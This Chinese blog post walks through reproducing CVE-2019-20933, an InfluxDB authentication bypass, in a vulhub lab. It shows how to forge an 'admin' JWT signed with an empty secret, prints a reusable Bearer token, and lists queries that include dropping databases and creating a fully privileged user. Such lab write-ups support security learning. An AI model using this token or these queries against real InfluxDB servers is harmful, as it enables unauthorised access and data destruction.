当前位置: 首页 > news >正文

数据库安全:InfluxDB 未授权访问-Jwt验证不当 漏洞.

数据库安全:InfluxDB 未授权访问-Jwt验证不当 漏洞.

InfluxDB 是一个开源分布式时序,时间和指标数据库。其数据库是使用 Jwt 作为鉴权方式,在用户开启认证时,如果在设置参数 shared-secret 的情况下,Jwt 认证密钥为空字符串,这样攻击者就能伪造任意用户身份在 InfluxDB 数据库中执行SQL语句,因此会导致敏感信息泄露和执行威胁到数据库的数据命令.


目录:

数据库安全:InfluxDB 未授权访问-Jwt验证不当 漏洞.

InfluxDB 未授权访问:

开启 vulhub 靶场环境:

Jwt验证不当 漏洞:


InfluxDB 未授权访问:

开启 vulhub 靶场环境:

第一步:切换到 vulhub 目录下

cd vulhub


第二步:切换到 influxdb 目录下.

cd influxdb


第三步:切换到 CVE-2019-20933 漏洞目录下.

cd CVE-2019-20933 


第四步:开启 漏洞 服务.

docker-compose up -d 


    

Jwt验证不当 漏洞:

第一步:访问 http://IP地址:8086/debug/vars 查看能不能访问到系统的服务信息,如果能 则可能存在漏洞.(8086 是默认端口.)

http://192.168.0.105:8086/debug/vars


第二步:访问 http://IP地址:8086/query 查看查询功能是否会有提示需要登录.

http://192.168.0.105:8086/query


第三步:添加 POST 请求值.

db=sample&q=show users            // 意思是:显示 数据库中的用户.


第四步:访问 URL ,然后用 Burp 进行抓包,再发给 Repeater(重发器)


第五步:通过 JSON Web Tokens - jwt.io 生成所需要的 Token:

{"alg": "HS256","typ": "JWT"
}{"username": "admin","exp": 3751718877
}

( username需要已存在的用户才行,所以使用 admin 用户就好.)

exp是时间戳 ,这个时间戳一定要是未来的时间才行,这里我生成了一个 2088 年的时间戳(所以我下面的Encoded值可以直接用):3751718877)

在线时间戳,转换器:https://www.beijing-time.org/shijianchuo/


第六步:在 Burp 抓包的数据包中添加 Authorization: Bearer (后面就是 Encoded 生成的值)【这个可以直接用,因为时间戳的结束是2088年】

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjozNzUxNzE4ODc3fQ.0w_-RJXNLryUpIZnglQGRDewVNty-_d9xuS-MdO4YDQ


第七步:如果要进行其他操作则修改 q= 你想要查看的信息就行.

show users			# 显示用户show databases		# 显示数据库create database xxx	# 创建xxx数据库drop database xxx	# 删除xxx数据库create user influx with password '***' with all privileges;	# 创建用户

    

   

    

参考文章:InfluxDB 未授权访问 漏洞复现_debug/vars-CSDN博客

相关文章:

  • 合成数据如何改变制造业
  • 【数据集标注制作】视频剪切标注1——类DarkLabel软件
  • 说一下vue2的响应式原理?
  • okhttp关于header修改
  • 十个使用Spring Cloud和Java创建微服务的实践案例
  • 【Github】git clone命令下载文件中途停止
  • 【Bug】Python利用matplotlib绘图无法显示中文解决办法
  • 第12章 PyTorch图像分割代码框架-3:推理与部署
  • play() failed because the user didn‘t interact with the document first.
  • Pytorch R-CNN目标检测-汽车car
  • Python学习笔记--自定义类型的枚举
  • 遍历List集合和Map进行修改和删除报java.util.ConcurrentModificationException错误详解
  • 《JavaScript设计模式》笔记 - - - 超全设计模式概览
  • Ubuntu 22.04 (WSL) 安装 libssl1.1
  • 现在个人想上架微信小游戏已经这么难了吗...
  • CSS相对定位
  • happypack两次报错的问题
  • Java 9 被无情抛弃,Java 8 直接升级到 Java 10!!
  • magento2项目上线注意事项
  • React Transition Group -- Transition 组件
  • windows-nginx-https-本地配置
  • 基于MaxCompute打造轻盈的人人车移动端数据平台
  • 聊聊redis的数据结构的应用
  • 数据可视化之 Sankey 桑基图的实现
  • 最近的计划
  • 深度学习之轻量级神经网络在TWS蓝牙音频处理器上的部署
  • ​【C语言】长篇详解,字符系列篇3-----strstr,strtok,strerror字符串函数的使用【图文详解​】
  • ​linux启动进程的方式
  • ​ubuntu下安装kvm虚拟机
  • (4)事件处理——(7)简单事件(Simple events)
  • (C语言)输入自定义个数的整数,打印出最大值和最小值
  • (八)Docker网络跨主机通讯vxlan和vlan
  • (超详细)2-YOLOV5改进-添加SimAM注意力机制
  • (二十四)Flask之flask-session组件
  • (分享)自己整理的一些简单awk实用语句
  • (附源码)springboot宠物医疗服务网站 毕业设计688413
  • (十六)串口UART
  • (四)【Jmeter】 JMeter的界面布局与组件概述
  • ***测试-HTTP方法
  • .net core 微服务_.NET Core 3.0中用 Code-First 方式创建 gRPC 服务与客户端
  • .NET Micro Framework初体验(二)
  • .Net 高效开发之不可错过的实用工具
  • @Autowired多个相同类型bean装配问题
  • [ 攻防演练演示篇 ] 利用通达OA 文件上传漏洞上传webshell获取主机权限
  • [ 隧道技术 ] cpolar 工具详解之将内网端口映射到公网
  • [AndroidStudio]_[初级]_[修改虚拟设备镜像文件的存放位置]
  • [AutoSAR 存储] 汽车智能座舱的存储需求
  • [BUUCTF]-PWN:[极客大挑战 2019]Not Bad解析
  • [Flex][问题笔记]TextArea滚动条问题
  • [JMS 3] ActiveMQ实现简单的helloworld
  • [Linux] CE知识随笔含Ansible、防火墙、VIM、其他服务
  • [Linux]进程间通信(进程间通信介绍 | 匿名管道 | 命名管道)
  • [Linux]知识整理(持续更新)
  • [Mvc]在ASP.NET MVC中使用Repeater
  • [one_demo_1]php中的文件锁